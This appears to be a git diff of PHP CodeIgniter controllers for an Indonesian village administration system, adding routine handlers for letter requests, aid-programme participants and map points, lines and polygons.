+ $judul = ($tipe == 0) ? 'Perlu Dilengkapi' : 'Dibatalkan';
+ $data = [
+ 'subjek' => 'Permohonan Surat ' . $surat['nama'] . ' ' . $judul,
+ 'komentar' => $post['pesan'],
+ 'owner' => $pemohon['nama'], // TODO : Gunakan id_pend
+ 'email' => $pemohon['nik'], // TODO : Gunakan id_pend
+ 'permohonan' => $id_permohonan, // Menyimpan id_permohonan untuk link
+ 'tipe' => 2,
+ 'status' => 2,
+ ];
+
+ $this->mailbox_model->insert($data);
+ $this->proses($id_permohonan, $tipe);
+
+ redirect('permohonan_surat_admin');
+ }
+
+ public function tampilkan($id_dokumen, $id_pend = 0)
+ {
+ $this->load->model('Web_dokumen_model');
+ $berkas = $this->web_dokumen_model->get_nama_berkas($id_dokumen, $id_pend);
+
+ if (! $id_dokumen || ! $id_pend || ! $berkas || ! file_exists(LOKASI_DOKUMEN . $berkas)) {
+ $data['link_berkas'] = null;
+ } else {
+ $data = [
+ 'link_berkas' => site_url("dokumen/tampilkan_berkas/{$id_dokumen}/{$id_pend}"),
+ 'tipe' => get_extension($berkas),
+ 'link_unduh' => site_url("dokumen/unduh_berkas/{$id_dokumen}/{$id_pend}"),
+ ];
+ }
+ $this->load->view('global/tampilkan', $data);
+ }
+}
diff --git a/donjo-app/controllers/Peserta_bantuan.php b/donjo-app/controllers/Peserta_bantuan.php
index 797e8c6fe..9212381f5 100644
--- a/donjo-app/controllers/Peserta_bantuan.php
+++ b/donjo-app/controllers/Peserta_bantuan.php
@@ -1,537 +1,217 @@
-_set_page = ['20', '50', '100'];
+ $this->modul_ini = 'bantuan';
+ $this->sub_modul_ini = 'peserta-bantuan';
+
+ $this->load->model(['program_bantuan_model']);
+ }
+
+ public function detail($program_id = 0, $p = 1)
+ {
+ $per_page = $this->input->post('per_page');
+ if (isset($per_page)) {
+ $this->session->per_page = $per_page;
+ }
+
+ $data['cari'] = $this->session->cari ?: '';
+ $data['program'] = $this->program_bantuan_model->get_program($p, $program_id);
+ $data['keyword'] = $this->program_bantuan_model->autocomplete($program_id, $this->input->post('cari'));
+ $data['paging'] = $data['program'][0]['paging'];
+ $data['list_sasaran'] = SasaranEnum::all();
+ $data['p'] = $p;
+ $data['func'] = "detail/{$program_id}";
+ $data['per_page'] = $this->session->per_page;
+ $data['set_page'] = $this->_set_page;
+ $data['nama_excerpt'] = Str::limit($data['program'][0]['nama'], 25);
+
+ $this->render('program_bantuan/detail', $data);
+ }
+
+ public function form($program_id = 0)
+ {
+ $this->redirect_hak_akses('u');
+ $this->session->unset_userdata('cari');
+ $data['program'] = $this->program_bantuan_model->get_program(1, $program_id);
+ $sasaran = $data['program'][0]['sasaran'];
+ $nik = $this->input->post('nik');
+
+ if (isset($nik)) {
+ $data['individu'] = $this->program_bantuan_model->get_peserta($nik, $sasaran);
+ $data['individu']['program'] = $this->program_bantuan_model->get_peserta_program($sasaran, $data['individu']['id_peserta']);
+ } else {
+ $data['individu'] = null;
+ }
+
+ $data['form_action'] = site_url('peserta_bantuan/add_peserta/' . $program_id);
+ $data['list_sasaran'] = SasaranEnum::all();
+
+ $this->render('program_bantuan/form', $data);
+ }
+
+ // $id = program_peserta.id
+ public function peserta($cat = 0, $id = 0)
+ {
+ $data = $this->program_bantuan_model->get_peserta_program($cat, $id);
+
+ $this->render('program_bantuan/peserta', $data);
+ }
+
+ // $id = program_peserta.id
+ public function data_peserta($id = 0)
+ {
+ $data['peserta'] = $this->program_bantuan_model->get_program_peserta_by_id($id);
+
+ switch ($data['peserta']['sasaran']) {
+ case '1':
+ case '2':
+ $peserta_id = $data['peserta']['kartu_id_pend'];
+ break;
+
+ case '3':
+ case '4':
+ $peserta_id = $data['peserta']['peserta'];
+ break;
+ }
+ $data['individu'] = $this->program_bantuan_model->get_peserta($peserta_id, $data['peserta']['sasaran']);
+ $data['individu']['program'] = $this->program_bantuan_model->get_peserta_program($data['peserta']['sasaran'], $data['peserta']['peserta']);
+ $data['detail'] = $this->program_bantuan_model->get_data_program($data['peserta']['program_id']);
+
+ $this->render('program_bantuan/data_peserta', $data);
+ }
+
+ public function add_peserta($program_id = 0)
+ {
+ $this->redirect_hak_akses('u');
+
+ $cek = BantuanPeserta::where('program_id', $program_id)->where('kartu_id_pend', $this->input->post('kartu_id_pend'))->first();
+
+ if ($cek) {
+ $this->session->success = -2;
+ } else {
+ $this->program_bantuan_model->add_peserta($program_id);
+ }
+
+ $redirect = ($this->session->userdata('aksi') != 1) ? $_SERVER['HTTP_REFERER'] : "peserta_bantuan/detail/{$program_id}";
+
+ $this->session->unset_userdata('aksi');
+
+ redirect($redirect);
+ }
+
+ // $id = program_peserta.id
+ public function edit_peserta($id = 0)
+ {
+ $this->redirect_hak_akses('u');
+ $this->program_bantuan_model->edit_peserta($id);
+ $program_id = $this->input->post('program_id');
+
+ redirect("peserta_bantuan/detail/{$program_id}");
+ }
+
+ // $id = program_peserta.id
+ public function edit_peserta_form($id = 0)
+ {
+ $this->redirect_hak_akses('u');
+
+ $data = $this->program_bantuan_model->get_program_peserta_by_id($id) ?? show_404();
+ $data['form_action'] = site_url("peserta_bantuan/edit_peserta/{$id}");
+ $this->load->view('program_bantuan/edit_peserta', $data);
+ }
+
+ public function hapus_peserta($program_id = 0, $peserta_id = '')
+ {
+ $this->redirect_hak_akses('h');
+ $this->program_bantuan_model->hapus_peserta($peserta_id);
+
+ redirect("peserta_bantuan/detail/{$program_id}");
+ }
+
+ public function aksi($aksi = '', $program_id = 0)
+ {
+ $this->redirect_hak_akses('u');
+ $this->session->set_userdata('aksi', $aksi);
+
+ redirect("peserta_bantuan/form/{$program_id}");
+ }
+
+ public function delete_all($program_id = 0)
+ {
+ $this->redirect_hak_akses('h');
+ $this->program_bantuan_model->delete_all();
+
+ redirect("peserta_bantuan/detail/{$program_id}");
+ }
+
+ // $aksi = cetak/unduh
+ public function daftar($program_id = 0, $aksi = '')
+ {
+ if ($program_id > 0) {
+ $temp = $this->session->per_page;
+ $this->session->per_page = 1000000000; // Angka besar supaya semua data terunduh
+ $data['sasaran'] = unserialize(SASARAN);
+
+ $data['config'] = $this->header['desa'];
+ $data['peserta'] = $this->program_bantuan_model->get_program(1, $program_id);
+ $data['aksi'] = $aksi;
+ $this->session->per_page = $temp;
+
+ $this->load->view("program_bantuan/{$aksi}", $data);
+ }
+ }
+
+ public function detail_clear($program_id)
+ {
+ $this->session->per_page = $this->_set_page[0];
+ $this->session->unset_userdata('cari');
+
+ redirect("pesera_bantuan/detail/{$program_id}");
+ }
+}
diff --git a/donjo-app/controllers/Plan.php b/donjo-app/controllers/Plan.php
index 644693877..2d932abf2 100644
--- a/donjo-app/controllers/Plan.php
+++ b/donjo-app/controllers/Plan.php
@@ -1,449 +1,245 @@
-load->model('wilayah_model');
+ $this->load->model('plan_lokasi_model');
+ $this->load->model('plan_area_model');
+ $this->load->model('plan_garis_model');
+ $this->load->model('pembangunan_model');
+ $this->load->model('pembangunan_dokumentasi_model');
+ $this->modul_ini = 'pemetaan';
+ $this->sub_modul_ini = 'pengaturan-peta';
+ }
+
+ public function clear()
+ {
+ unset($_SESSION['cari'], $_SESSION['filter'], $_SESSION['point'], $_SESSION['subpoint']);
+
+ redirect('plan');
+ }
+
+ public function index($p = 1, $o = 0)
+ {
+ $data['p'] = $p;
+ $data['o'] = $o;
+
+ if (isset($_SESSION['cari'])) {
+ $data['cari'] = $_SESSION['cari'];
+ } else {
+ $data['cari'] = '';
+ }
+
+ if (isset($_SESSION['filter'])) {
+ $data['filter'] = $_SESSION['filter'];
+ } else {
+ $data['filter'] = '';
+ }
+
+ if (isset($_SESSION['point'])) {
+ $data['point'] = $_SESSION['point'];
+ } else {
+ $data['point'] = '';
+ }
+
+ if (isset($_SESSION['subpoint'])) {
+ $data['subpoint'] = $_SESSION['subpoint'];
+ } else {
+ $data['subpoint'] = '';
+ }
+
+ if (isset($_POST['per_page'])) {
+ $_SESSION['per_page'] = $_POST['per_page'];
+ }
+
+ $data['per_page'] = $_SESSION['per_page'];
+
+ $data['paging'] = $this->plan_lokasi_model->paging($p, $o);
+ $data['main'] = $this->plan_lokasi_model->list_data($o, $data['paging']->offset, $data['paging']->per_page);
+ $data['keyword'] = $this->plan_lokasi_model->autocomplete();
+ $data['list_point'] = $this->plan_lokasi_model->list_point();
+ $data['list_subpoint'] = $this->plan_lokasi_model->list_subpoint();
+ $data['tip'] = 3;
+
+ $this->render('lokasi/table', $data);
+ }
+
+ public function form($p = 1, $o = 0, $id = '')
+ {
+ $this->redirect_hak_akses('u');
+ $data['p'] = $p;
+ $data['o'] = $o;
+
+ if ($id) {
+ $data['lokasi'] = $this->plan_lokasi_model->get_lokasi($id) ?? show_404();
+ $data['form_action'] = site_url("plan/update/{$id}/{$p}/{$o}");
+ } else {
+ $data['lokasi'] = null;
+ $data['form_action'] = site_url('plan/insert');
+ }
+
+ $data['list_point'] = $this->plan_lokasi_model->list_point();
+ $data['tip'] = 3;
+
+ $this->render('lokasi/form', $data);
+ }
+
+ public function ajax_lokasi_maps($p = 1, $o = 0, $id = '')
+ {
+ $data['p'] = $p;
+ $data['o'] = $o;
+ if ($id) {
+ $data['lokasi'] = $this->plan_lokasi_model->get_lokasi($id) ?? show_404();
+ } else {
+ $data['lokasi'] = null;
+ }
+
+ $data['desa'] = $this->header['desa'];
+ $data['wil_atas'] = $this->header['desa'];
+ $data['dusun_gis'] = $this->wilayah_model->list_dusun();
+ $data['rw_gis'] = $this->wilayah_model->list_rw();
+ $data['rt_gis'] = $this->wilayah_model->list_rt();
+ $data['all_lokasi'] = $this->plan_lokasi_model->list_data();
+ $data['all_garis'] = $this->plan_garis_model->list_data();
+ $data['all_area'] = $this->plan_area_model->list_data();
+ $data['all_lokasi_pembangunan'] = $this->pembangunan_model->list_lokasi_pembangunan();
+ $data['form_action'] = site_url("plan/update_maps/{$p}/{$o}/{$id}");
+
+ $this->render('lokasi/maps', $data);
+ }
+
+ public function update_maps($p = 1, $o = 0, $id = '')
+ {
+ $this->redirect_hak_akses('u');
+ $this->plan_lokasi_model->update_position($id);
+ redirect("plan/index/{$p}/{$o}");
+ }
+
+ public function search()
+ {
+ $cari = $this->input->post('cari');
+ if ($cari != '') {
+ $_SESSION['cari'] = $cari;
+ } else {
+ unset($_SESSION['cari']);
+ }
+ redirect('plan');
+ }
+
+ public function filter()
+ {
+ $filter = $this->input->post('filter');
+ if ($filter != 0) {
+ $_SESSION['filter'] = $filter;
+ } else {
+ unset($_SESSION['filter']);
+ }
+ redirect('plan');
+ }
+
+ public function point()
+ {
+ $point = $this->input->post('point');
+ if ($point != 0) {
+ $_SESSION['point'] = $point;
+ } else {
+ unset($_SESSION['point']);
+ }
+ redirect('plan');
+ }
+
+ public function subpoint()
+ {
+ unset($_SESSION['point']);
+ $subpoint = $this->input->post('subpoint');
+ if ($subpoint != 0) {
+ $_SESSION['subpoint'] = $subpoint;
+ } else {
+ unset($_SESSION['subpoint']);
+ }
+ redirect('plan');
+ }
+
+ public function insert($tip = 1)
+ {
+ $this->redirect_hak_akses('u');
+ $this->plan_lokasi_model->insert($tip);
+ redirect("plan/index/{$tip}");
+ }
+
+ public function update($id = '', $p = 1, $o = 0)
+ {
+ $this->redirect_hak_akses('u');
+ $this->plan_lokasi_model->update($id);
+ redirect("plan/index/{$p}/{$o}");
+ }
+
+ public function delete($p = 1, $o = 0, $id = '')
+ {
+ $this->redirect_hak_akses('h', "plan/index/{$p}/{$o}");
+ $this->plan_lokasi_model->delete($id);
+ redirect("plan/index/{$p}/{$o}");
+ }
+
+ public function delete_all($p = 1, $o = 0)
+ {
+ $this->redirect_hak_akses('h', "plan/index/{$p}/{$o}");
+ $this->plan_lokasi_model->delete_all();
+ redirect("plan/index/{$p}/{$o}");
+ }
+
+ public function lokasi_lock($id = '')
+ {
+ $this->redirect_hak_akses('u');
+ $this->plan_lokasi_model->lokasi_lock($id, 1);
+ redirect('plan');
+ }
+
+ public function lokasi_unlock($id = '')
+ {
+ $this->redirect_hak_akses('u');
+ $this->plan_lokasi_model->lokasi_lock($id, 2);
+ redirect('plan');
+ }
+}
diff --git a/donjo-app/controllers/Point.php b/donjo-app/controllers/Point.php
index 4cf74dee0..5405937f7 100644
--- a/donjo-app/controllers/Point.php
+++ b/donjo-app/controllers/Point.php
@@ -1,457 +1,272 @@
-load->model('plan_point_model');
+ $this->modul_ini = 'pemetaan';
+ $this->sub_modul_ini = 'pengaturan-peta';
+ }
+
+ public function clear()
+ {
+ unset($_SESSION['cari'], $_SESSION['filter']);
+
+ redirect('point');
+ }
+
+ public function clear_simbol()
+ {
+ redirect('point/form_simbol');
+ }
+
+ public function index($p = 1, $o = 0)
+ {
+ $data['p'] = $p;
+ $data['o'] = $o;
+
+ if (isset($_SESSION['cari'])) {
+ $data['cari'] = $_SESSION['cari'];
+ } else {
+ $data['cari'] = '';
+ }
+
+ if (isset($_SESSION['filter'])) {
+ $data['filter'] = $_SESSION['filter'];
+ } else {
+ $data['filter'] = '';
+ }
+
+ if (isset($_POST['per_page'])) {
+ $_SESSION['per_page'] = $_POST['per_page'];
+ }
+ $data['per_page'] = $_SESSION['per_page'];
+
+ $data['paging'] = $this->plan_point_model->paging($p, $o);
+ $data['main'] = $this->plan_point_model->list_data($o, $data['paging']->offset, $data['paging']->per_page);
+ $data['keyword'] = $this->plan_point_model->autocomplete();
+
+ $data['tip'] = 0;
+ $this->render('point/table', $data);
+ }
+
+ public function form($p = 1, $o = 0, $id = '')
+ {
+ $this->redirect_hak_akses('u');
+ $data['p'] = $p;
+ $data['o'] = $o;
+
+ if ($id) {
+ $data['point'] = $this->plan_point_model->get_point($id) ?? show_404();
+ $data['form_action'] = site_url("point/update/{$id}/{$p}/{$o}");
+ } else {
+ $data['point'] = null;
+ $data['form_action'] = site_url('point/insert');
+ }
+
+ $data['simbol'] = $this->plan_point_model->list_simbol();
+ $data['tip'] = 0;
+
+ $this->render('point/form', $data);
+ }
+
+ public function sub_point($point = 1)
+ {
+ $data['subpoint'] = $this->plan_point_model->list_sub_point($point);
+ $data['point'] = $this->plan_point_model->get_point($point) ?? show_404();
+ $data['tip'] = 0;
+
+ $this->render('point/sub_point_table', $data);
+ }
+
+ public function ajax_add_sub_point($point = 0, $id = 0)
+ {
+ if ($id) {
+ $data['point'] = $this->plan_point_model->get_point($id) ?? show_404();
+ $data['form_action'] = site_url("point/update_sub_point/{$point}/{$id}");
+ } else {
+ $data['point'] = null;
+ $data['form_action'] = site_url("point/insert_sub_point/{$point}");
+ }
+
+ $data['simbol'] = $this->plan_point_model->list_simbol();
+ $this->load->view('point/ajax_add_sub_point_form', $data);
+ }
+
+ public function search()
+ {
+ $cari = $this->input->post('cari');
+ if ($cari != '') {
+ $_SESSION['cari'] = $cari;
+ } else {
+ unset($_SESSION['cari']);
+ }
+ redirect('point');
+ }
+
+ public function filter()
+ {
+ $filter = $this->input->post('filter');
+ if ($filter != 0) {
+ $_SESSION['filter'] = $filter;
+ } else {
+ unset($_SESSION['filter']);
+ }
+ redirect('point');
+ }
+
+ public function insert($tip = 1)
+ {
+ $this->redirect_hak_akses('u');
+ $this->plan_point_model->insert($tip);
+ redirect("point/index/{$tip}");
+ }
+
+ public function update($id = '', $p = 1, $o = 0)
+ {
+ $this->redirect_hak_akses('u');
+ $this->plan_point_model->update($id);
+ redirect("point/index/{$p}/{$o}");
+ }
+
+ public function delete($p = 1, $o = 0, $id = '')
+ {
+ $this->redirect_hak_akses('h', "point/index/{$p}/{$o}");
+ $this->plan_point_model->delete($id);
+ redirect("point/index/{$p}/{$o}");
+ }
+
+ public function delete_all($p = 1, $o = 0)
+ {
+ $this->redirect_hak_akses('h', "point/index/{$p}/{$o}");
+ $this->plan_point_model->delete_all();
+ redirect("point/index/{$p}/{$o}");
+ }
+
+ public function point_lock($id = '')
+ {
+ $this->redirect_hak_akses('u');
+ $this->plan_point_model->point_lock($id, 1);
+ redirect("point/index/{$p}/{$o}");
+ }
+
+ public function point_unlock($id = '')
+ {
+ $this->redirect_hak_akses('u');
+ $this->plan_point_model->point_lock($id, 2);
+ redirect("point/index/{$p}/{$o}");
+ }
+
+ public function insert_sub_point($point = '')
+ {
+ $this->redirect_hak_akses('u');
+ $this->plan_point_model->insert_sub_point($point);
+ redirect("point/sub_point/{$point}");
+ }
+
+ public function update_sub_point($point = '', $id = '')
+ {
+ $this->redirect_hak_akses('u');
+ $this->plan_point_model->update_sub_point($id);
+ redirect("point/sub_point/{$point}");
+ }
+
+ public function delete_sub_point($point = '', $id = '')
+ {
+ $this->redirect_hak_akses('h', "point/sub_point/{$point}");
+ $this->plan_point_model->delete_sub_point($id);
+ redirect("point/sub_point/{$point}");
+ }
+
+ public function delete_all_sub_point($point = '')
+ {
+ $this->redirect_hak_akses('h', "point/sub_point/{$point}");
+ $this->plan_point_model->delete_all_sub_point();
+ redirect("point/sub_point/{$point}");
+ }
+
+ public function point_lock_sub_point($point = '', $id = '')
+ {
+ $this->redirect_hak_akses('u');
+ $this->plan_point_model->point_lock($id, 1);
+ redirect("point/sub_point/{$point}");
+ }
+
+ public function point_unlock_sub_point($point = '', $id = '')
+ {
+ $this->redirect_hak_akses('u');
+ $this->plan_point_model->point_lock($id, 2);
+ redirect("point/sub_point/{$point}");
+ }
+
+ public function tambah_simbol()
+ {
+ $this->redirect_hak_akses('u');
+ $this->plan_point_model->tambah_simbol();
+ redirect('point/form_simbol');
+ }
+
+ public function form_simbol($id = '')
+ {
+ $this->redirect_hak_akses('u');
+ $data['simbol'] = $this->plan_point_model->list_simbol();
+ $data['tip'] = 6;
+
+ $this->render('point/form_simbol', $data);
+ }
+
+ public function delete_simbol($id = '', $simbol = '')
+ {
+ $this->redirect_hak_akses('h');
+ $this->plan_point_model->delete_simbol($id);
+ $this->plan_point_model->delete_simbol_file($simbol);
+ redirect('point/form_simbol');
+ }
+
+ public function salin_simbol_default()
+ {
+ $this->redirect_hak_akses('u');
+ $this->plan_point_model->salin_simbol_default();
+ redirect('point/form_simbol');
+ }
+}
diff --git a/donjo-app/controllers/Polygon.php b/donjo-app/controllers/Polygon.php
index 518adae87..56c2e91fd 100644
--- a/donjo-app/controllers/Polygon.php
+++ b/donjo-app/controllers/Polygon.php
@@ -1,473 +1,232 @@
-load->model('plan_polygon_model');
+ $this->modul_ini = 'pemetaan';
+ $this->sub_modul_ini = 'pengaturan-peta';
+ }
+
+ public function clear()
+ {
+ unset($_SESSION['cari'], $_SESSION['filter']);
+
+ redirect('polygon');
+ }
+
+ public function index($p = 1, $o = 0)
+ {
+ $data['p'] = $p;
+ $data['o'] = $o;
+
+ if (isset($_SESSION['cari'])) {
+ $data['cari'] = $_SESSION['cari'];
+ } else {
+ $data['cari'] = '';
+ }
+
+ if (isset($_SESSION['filter'])) {
+ $data['filter'] = $_SESSION['filter'];
+ } else {
+ $data['filter'] = '';
+ }
+
+ if (isset($_POST['per_page'])) {
+ $_SESSION['per_page'] = $_POST['per_page'];
+ }
+
+ $data['per_page'] = $_SESSION['per_page'];
+ $data['paging'] = $this->plan_polygon_model->paging($p, $o);
+ $data['main'] = $this->plan_polygon_model->list_data($o, $data['paging']->offset, $data['paging']->per_page);
+ $data['keyword'] = $this->plan_polygon_model->autocomplete();
+
+ $data['tip'] = 5;
+ $this->render('polygon/table', $data);
+ }
+
+ public function form($p = 1, $o = 0, $id = '')
+ {
+ $this->redirect_hak_akses('u');
+ $data['p'] = $p;
+ $data['o'] = $o;
+
+ if ($id) {
+ $data['polygon'] = $this->plan_polygon_model->get_polygon($id);
+ $data['form_action'] = site_url("polygon/update/{$id}/{$p}/{$o}");
+ } else {
+ $data['polygon'] = null;
+ $data['form_action'] = site_url('polygon/insert');
+ }
+
+ $data['tip'] = 5;
+ $this->render('polygon/form', $data);
+ }
+
+ public function sub_polygon($polygon = 1)
+ {
+ $data['subpolygon'] = $this->plan_polygon_model->list_sub_polygon($polygon);
+ $data['polygon'] = $this->plan_polygon_model->get_polygon($polygon);
+ $data['tip'] = 5;
+ $this->render('polygon/sub_polygon_table', $data);
+ }
+
+ public function ajax_add_sub_polygon($polygon = 0, $id = 0)
+ {
+ if ($id) {
+ $data['polygon'] = $this->plan_polygon_model->get_polygon($id);
+ $data['form_action'] = site_url("polygon/update_sub_polygon/{$polygon}/{$id}");
+ } else {
+ $data['polygon'] = null;
+ $data['form_action'] = site_url("polygon/insert_sub_polygon/{$polygon}");
+ }
+
+ $this->load->view('polygon/ajax_add_sub_polygon_form', $data);
+ }
+
+ public function search()
+ {
+ $cari = $this->input->post('cari');
+ if ($cari != '') {
+ $_SESSION['cari'] = $cari;
+ } else {
+ unset($_SESSION['cari']);
+ }
+ redirect('polygon');
+ }
+
+ public function filter()
+ {
+ $filter = $this->input->post('filter');
+ if ($filter != 0) {
+ $_SESSION['filter'] = $filter;
+ } else {
+ unset($_SESSION['filter']);
+ }
+ redirect('polygon');
+ }
+
+ public function insert($tip = 1)
+ {
+ $this->redirect_hak_akses('u');
+ $this->plan_polygon_model->insert($tip);
+ redirect("polygon/index/{$tip}");
+ }
+
+ public function update($id = '', $p = 1, $o = 0)
+ {
+ $this->redirect_hak_akses('u');
+ $this->plan_polygon_model->update($id);
+ redirect("polygon/index/{$p}/{$o}");
+ }
+
+ public function delete($p = 1, $o = 0, $id = '')
+ {
+ $this->redirect_hak_akses('h', "polygon/index/{$p}/{$o}");
+ $this->plan_polygon_model->delete($id);
+ redirect("polygon/index/{$p}/{$o}");
+ }
+
+ public function delete_all($p = 1, $o = 0)
+ {
+ $this->redirect_hak_akses('h', "polygon/index/{$p}/{$o}");
+ $this->plan_polygon_model->delete_all();
+ redirect("polygon/index/{$p}/{$o}");
+ }
+
+ public function polygon_lock($id = '')
+ {
+ $this->redirect_hak_akses('u');
+ $this->plan_polygon_model->polygon_lock($id, 1);
+ redirect("polygon/index/{$p}/{$o}");
+ }
+
+ public function polygon_unlock($id = '')
+ {
+ $this->redirect_hak_akses('u');
+ $this->plan_polygon_model->polygon_lock($id, 2);
+ redirect("polygon/index/{$p}/{$o}");
+ }
+
+ public function insert_sub_polygon($polygon = '')
+ {
+ $this->redirect_hak_akses('u');
+ $this->plan_polygon_model->insert_sub_polygon($polygon);
+ redirect("polygon/sub_polygon/{$polygon}");
+ }
+
+ public function update_sub_polygon($polygon = '', $id = '')
+ {
+ $this->redirect_hak_akses('u');
+ $this->plan_polygon_model->update_sub_polygon($id);
+ redirect("polygon/sub_polygon/{$polygon}");
+ }
+
+ public function delete_sub_polygon($polygon = '', $id = '')
+ {
+ $this->redirect_hak_akses('h', "polygon/sub_polygon/{$polygon}");
+ $this->plan_polygon_model->delete_sub_polygon($id);
+ redirect("polygon/sub_polygon/{$polygon}");
+ }
+
+ public function delete_all_sub_polygon($polygon = '')
+ {
+ $this->redirect_hak_akses('h', "polygon/sub_polygon/{$polygon}");
+ $this->plan_polygon_model->delete_all_sub_polygon();
+ redirect("polygon/sub_polygon/{$polygon}");
+ }
+
+ public function polygon_lock_sub_polygon($polygon = '', $id = '')
+ {
+ $this->redirect_hak_akses('u');
+ $this->plan_polygon_model->polygon_lock($id, 1);
+ redirect("polygon/sub_polygon/{$polygon}");
+ }
+
+ public function polygon_unlock_sub_polygon($polygon = '', $id = '')
+ {
+ $this->redirect_hak_akses('u');
+ $this->plan_polygon_model->polygon_lock($id, 2);
+ redirect("polygon/sub_polygon/{$polygon}");
+ }
+}
diff --git a/donjo-app/controllers/Program_bantuan.php b/donjo-app/controllers/Program_bantuan.php
index e63d4f7f1..6315fcd92 100644
--- a/donjo-app/controllers/Program_bantuan.php
+++ b/donjo-app/controllers/Program_bantuan.php
@@ -1,537 +1,701 @@
-load->model(['program_bantuan_model']);
+ $this->modul_ini = 'bantuan';
+ $this->_set_page = ['20', '50', '100'];
+ }
+
+ public function clear()
+ {
+ $this->session->per_page = $this->_set_page[0];
+ $this->session->unset_userdata('sasaran');
+ redirect('program_bantuan');
+ }
+
+ public function filter($filter)
+ {
+ $value = $this->input->post($filter);
+ if ($value != '') {
+ $this->session->{$filter} = $value;
+ } else {
+ $this->session->unset_userdata($filter);
+ }
+ redirect('program_bantuan');
+ }
+
+ public function index($p = 1)
+ {
+ $this->session->unset_userdata('cari');
+ $per_page = $this->input->post('per_page');
+ if (isset($per_page)) {
+ $this->session->per_page = $per_page;
+ }
+
+ $data = $this->program_bantuan_model->get_program($p, false);
+ $data['list_sasaran'] = SasaranEnum::all();
+ $data['func'] = 'index';
+ $data['per_page'] = $this->session->per_page;
+ $data['set_page'] = $this->_set_page;
+ $data['set_sasaran'] = $this->session->sasaran;
+ $this->render('program_bantuan/program', $data);
+ }
+
+ public function apipendudukbantuan()
+ {
+ if ($this->input->is_ajax_request()) {
+ $cari = $this->input->get('q');
+ $bantuan = $this->input->get('bantuan');
+ $sasaran = $this->input->get('sasaran');
+ $peserta = BantuanPeserta::where('program_id', '=', $bantuan)->pluck('peserta');
+
+ switch ($sasaran) {
+ case 1:
+ $this->get_pilihan_penduduk($cari, $peserta);
+ break;
+
+ case 2:
+ $this->get_pilihan_kk($cari, $peserta);
+ break;
+
+ case 3:
+ $this->get_pilihan_rtm($cari, $peserta);
+ break;
+
+ case 4:
+ $this->get_pilihan_kelompok($cari, $peserta);
+ break;
+
+ default:
+ }
+ }
+
+ return show_404();
+ }
+
+ private function get_pilihan_penduduk($cari, $peserta)
+ {
+ $penduduk = Penduduk::select(['id', 'nik', 'nama', 'id_cluster'])
+ ->when($cari, static function ($query) use ($cari) {
+ $query->where(static function ($q) use ($cari) {
+ $q->where('nik', 'like', "%{$cari}%")
+ ->orWhere('nama', 'like', "%{$cari}%");
+ });
+ })
+ ->whereNotIn('nik', $peserta)
+ ->paginate(10);
+
+ return json([
+ 'results' => collect($penduduk->items())
+ ->map(static function ($item) {
+ return [
+ 'id' => $item->id,
+ 'text' => 'NIK : ' . $item->nik . ' - ' . $item->nama . ' RT-' . $item->wilayah->rt . ', RW-' . $item->wilayah->rw . ', ' . strtoupper(setting('sebutan_dusun')) . ' ' . $item->wilayah->dusun,
+ ];
+ }),
+ 'pagination' => [
+ 'more' => $penduduk->currentPage() < $penduduk->lastPage(),
+ ],
+ ]);
+ }
+
+ private function get_pilihan_kk($cari, $peserta)
+ {
+ $penduduk = Penduduk::with('pendudukHubungan')
+ ->select(['tweb_penduduk.id', 'tweb_penduduk.nik', 'keluarga_aktif.no_kk', 'tweb_penduduk.kk_level', 'tweb_penduduk.nama', 'tweb_penduduk.id_cluster'])
+ ->leftJoin('tweb_penduduk_hubungan', static function ($join) {
+ $join->on('tweb_penduduk.kk_level', '=', 'tweb_penduduk_hubungan.id');
+ })
+ ->leftJoin('keluarga_aktif', static function ($join) {
+ $join->on('tweb_penduduk.id_kk', '=', 'keluarga_aktif.id');
+ })
+ ->when($cari, static function ($query) use ($cari) {
+ $query->where(static function ($q) use ($cari) {
+ $q->where('tweb_penduduk.nik', 'like', "%{$cari}%")
+ ->orWhere('keluarga_aktif.no_kk', 'like', "%{$cari}%")
+ ->orWhere('tweb_penduduk.nama', 'like', "%{$cari}%");
+ });
+ })
+ ->whereIn('tweb_penduduk.kk_level', ['1', '2', '3', '4'])
+ ->whereNotIn('keluarga_aktif.no_kk', $peserta)
+ ->orderBy('tweb_penduduk.id_kk')
+ ->paginate(10);
+
+ return json([
+ 'results' => collect($penduduk->items())
+ ->map(static function ($item) {
+ return [
+ 'id' => $item->id,
+ 'text' => 'No KK : ' . $item->no_kk . ' - ' . $item->pendudukHubungan->nama . '- NIK : ' . $item->nik . ' - ' . $item->nama . ' RT-' . $item->wilayah->rt . ', RW-' . $item->wilayah->rw . ', ' . strtoupper(setting('sebutan_dusun')) . ' ' . $item->wilayah->dusun,
+ ];
+ }),
+ 'pagination' => [
+ 'more' => $penduduk->currentPage() < $penduduk->lastPage(),
+ ],
+ ]);
+ }
+
+ private function get_pilihan_rtm($cari, $peserta)
+ {
+ $penduduk = Penduduk::select(['id', 'id_rtm', 'nama', 'id_cluster'])
+ ->when($cari, static function ($query) use ($cari) {
+ $query->where(static function ($q) use ($cari) {
+ $q->where('nik', 'like', "%{$cari}%")
+ ->orWhere('nama', 'like', "%{$cari}%")
+ ->orWhere('id_rtm', 'like', "%{$cari}%");
+ });
+ })
+ ->whereHas('rtm', static function ($query) use ($peserta) {
+ $query->whereNotIn('no_kk', $peserta);
+ })
+ ->paginate(10);
+
+ return json([
+ 'results' => collect($penduduk->items())
+ ->map(static function ($item) {
+ return [
+ 'id' => $item->rtm->no_kk,
+ 'text' => 'No. RT : ' . $item->rtm->no_kk . ' - ' . $item->nama . ' RT-' . $item->wilayah->rt . ', RW-' . $item->wilayah->rw . ', ' . strtoupper(setting('sebutan_dusun')) . ' ' . $item->wilayah->dusun,
+ ];
+ }),
+ 'pagination' => [
+ 'more' => $penduduk->currentPage() < $penduduk->lastPage(),
+ ],
+ ]);
+ }
+
+ private function get_pilihan_kelompok($cari, $peserta)
+ {
+ $penduduk = Kelompok::select(['kelompok.id', 'tweb_penduduk.nik', 'tweb_penduduk.nama as nama_penduduk', 'kelompok.nama as nama_kelompok', 'tweb_penduduk.id_cluster'])
+ ->leftJoin('tweb_penduduk', static function ($join) {
+ $join->on('kelompok.id_ketua', '=', 'tweb_penduduk.id');
+ })
+ ->when($cari, static function ($query) use ($cari) {
+ $query->where(static function ($q) use ($cari) {
+ $q->where('kelompok.nama', 'like', "%{$cari}%")
+ ->orWhere('tweb_penduduk.nama', 'like', "%{$cari}%");
+ });
+ })
+ ->whereNotIn('kelompok.id', $peserta)
+ ->paginate(10);
+
+ return json([
+ 'results' => collect($penduduk->items())
+ ->map(static function ($item) {
+ return [
+ 'id' => $item->id,
